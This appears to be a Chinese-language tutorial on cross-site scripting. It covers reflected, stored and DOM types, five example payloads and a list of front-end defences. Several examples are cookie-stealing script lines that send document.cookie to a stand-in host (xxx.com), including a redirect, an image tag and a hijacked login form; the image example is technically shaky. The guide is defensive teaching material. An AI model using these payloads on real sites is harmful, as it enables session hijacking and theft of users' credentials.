XSS，即跨站脚本攻击（Cross-Site Scripting），是一种常见的网络安全漏洞，攻击者通过在网页中注入恶意脚本代码，使得浏览器执行这些脚本，从而控制网页上的内容或者获取用户的敏感信息。XSS 攻击一般分为反射型、存储型和 DOM 型三种类型。


1. 反射型 XSS 攻击

反射型 XSS 攻击是指攻击者通过向目标网站提交带有恶意脚本代码的请求，使得服务器将这些代码反射回浏览器，浏览器执行这些脚本，从而控制网页上的内容或者窃取用户的敏感信息。这种攻击方式通常利用了一些用户交互的机制，例如搜索框、评论框等。

例如，一个网站的搜索功能会将用户输入的内容作为参数传递到后端，后端会将这些参数拼接到一个 HTML 模板中返回给前端。攻击者可以通过在搜索框中输入恶意脚本代码，使得这些代码被拼接到 HTML 模板中，当其他用户访问这个页面时，这些恶意脚本代码会被执行，从而控制网页上的内容或者窃取用户的敏感信息。


2. 存储型 XSS 攻击

存储型 XSS 攻击是指攻击者将恶意脚本代码存储到目标网站的数据库中，当其他用户访问这个网站时，这些恶意脚本代码会被加载并执行，从而控制网页上的内容或者窃取用户的敏感信息。

例如，一个网站的评论功能允许用户提交评论并将评论存储到数据库中。攻击者可以通过提交带有恶意脚本代码的评论，将这些代码存储到数据库中，当其他用户访问这个页面时，这些恶意脚本代码会被加载并执行，从而控制网页上的内容或者窃取用户的敏感信息。


3. DOM 型 XSS 攻击

DOM 型 XSS 攻击是指攻击者通过在网页中注入恶意脚本代码，使得浏览器执行这些脚本，从而控制网页上的内容或者窃取用户的敏感信息。与反射型和存储型 XSS 攻击不同，DOM 型 XSS 攻击不需要向服务器提交带有恶意脚本代码的请求，攻击者直接通过修改网页的 DOM 结构，将恶意脚本代码注入到网页中。

例如，一个网站的 URL 中包含一个参数，用来指定网页上的某个元素的 ID。攻击者可以通过在 URL 中注入恶意脚本代码，使得这些代码被浏览器解析执行，从而控制网页上的内容或者窃取用户的敏感信息。

 

 

 

 

以下是一些常见的 XSS 攻击实例：

1. 假设有一个网站的搜索功能允许用户在搜索框中输入搜索关键字，并将关键字作为参数传递到服务器端进行搜索。攻击者可以在搜索框中输入恶意脚本代码，例如：

<script>alert('XSS攻击')</script>

当其他用户访问这个页面时，浏览器会执行这些恶意脚本代码，弹出一个对话框，从而欺骗用户或窃取用户的敏感信息。

 

 

2. 假设有一个网站的评论功能允许用户在评论框中提交评论，并将评论保存到数据库中。攻击者可以在评论框中提交恶意脚本代码，例如：

<script>location.href='http://xxx.com/?cookie='+document.cookie</script>

当其他用户访问这个网页时，浏览器会加载并执行这些恶意脚本代码，将用户的 Cookie 信息发送到攻击者的服务器，从而窃取用户的会话信息。


3. 假设有一个网站的 URL 中包含一个参数，用来指定网页上的某个元素的 ID。攻击者可以构造如下的 URL，将恶意脚本代码注入到网页中：

http://example.com/page.html?element=<script>...</script>

当用户访问这个 URL 时，浏览器会解析执行其中的恶意脚本代码，从而控制网页上的内容或者窃取用户的敏感信息。


4. 假设有一个网站的用户个人资料页面允许用户上传头像。攻击者可以上传一个带有恶意脚本代码的图片，例如：

<img src="http://xxx.com/attack.php?cookie='+document.cookie+'" />

当其他用户访问该用户的个人资料页面时，浏览器会加载并执行这张图片中的恶意脚本代码，从而窃取用户的会话信息。


5. 假设有一个网站的管理员后台页面需要用户输入用户名和密码进行登录。攻击者可以在登录页面中注入如下的恶意脚本代码：

<script>document.forms[0].action='http://xxx.com/steal.php?cookie='+document.cookie;</script>

当管理员在该登录页面输入用户名和密码并点击登录按钮时，浏览器会将管理员的 Cookie 信息发送到攻击者的服务器，从而窃取管理员的会话信息。

 

 


为了防范 XSS 攻击，前端开发人员可以采用以下措施：

1. 对用户输入进行过滤和验证，避免将恶意脚本代码传递到服务器端。
2. 对输出到网页的内容进行转义，避免恶意脚本代码被浏览器执行。
3. 使用 HTTP Only Cookie，避免攻击者窃取用户的会话信息。
4. 使用 Content Security Policy（CSP），限制网页中可以执行的脚本代码的来源。
5. 使用验证码、限制用户输入长度等机制，降低攻击的成功率。
6. 使用 HTTPS 协议传输敏感信息，避免信息被窃取或篡改。
7. 及时更新和修复网站漏洞，避免攻击者利用已知的漏洞进行攻击。
8. 避免使用 eval()、innerHTML 等可以执行字符串的函数，避免将恶意脚本代码注入到网页中。
9. 在编写代码时，始终保持安全意识，避免在代码中暴露敏感信息或者给攻击者留下漏洞。

 


总之，为了防范 XSS 攻击，前端开发人员需要在代码编写过程中注重安全性，并采用一些安全性较高的编码技术和工具，以确保网站的安全性和可靠性。当然现在用的vue、react等配合打包工具，很大程度上已经规避了很多风险，但还是要注意防范。